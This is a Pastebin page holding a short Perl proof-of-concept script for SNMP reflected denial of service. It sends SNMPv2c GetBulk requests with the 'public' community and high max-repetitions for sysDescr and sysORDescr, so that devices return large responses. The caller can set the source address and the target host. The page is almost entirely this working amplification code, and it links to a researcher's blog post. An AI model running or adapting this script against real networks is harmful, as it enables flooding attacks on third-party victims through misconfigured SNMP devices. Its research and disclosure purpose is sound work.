Advertisement
anestisb

snmp_rdos_poc.pl

Dec 29th, 2011
1,392
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.02 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # Simple SNMP bulk request with large string responses
  4. # Written by Anestis Bechtsoudis
  5. # More info at SNMP RDoS blog post:
  6. # https://bechtsoudis.com/hacking/snmp-reflected-denial-of-service/
  7.  
  8. use strict;
  9. use warnings;
  10. use Net::SNMP;
  11.  
  12. # SNMP Objects
  13. my @OID = ('1.3.6.1.2.1.1.1',     #sysDescr
  14.            '1.3.6.1.2.1.1.9.1.3', #sysORDescr
  15. );
  16.  
  17. # SNMP Session
  18. my ($session, $error) = Net::SNMP->session(
  19.     -localaddr  => shift || '10.0.1.11',
  20.     -hostname   => shift || '10.0.1.1',
  21.     -community  => shift || 'public',
  22.     -version    => shift || 'snmpv2c',
  23. );
  24.  
  25. # Print error if any
  26. if (!defined $session) {
  27.     print "ERROR: $error\n";
  28.     exit 1;
  29. }
  30.  
  31. # Send SNMP bulk request
  32. my $result = $session->get_bulk_request(
  33.     -varbindlist    => [@OID],
  34.     -nonrepeaters   => 1,
  35.     -maxrepetitions => 70,
  36. );
  37.  
  38. # Check for errors
  39. if (!defined $result) {
  40.       print "ERROR: ".$session->error()."\n";
  41.       $session->close();
  42.       exit 1;
  43. }
  44.  
  45. # Close SNMP session
  46. $session->close();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement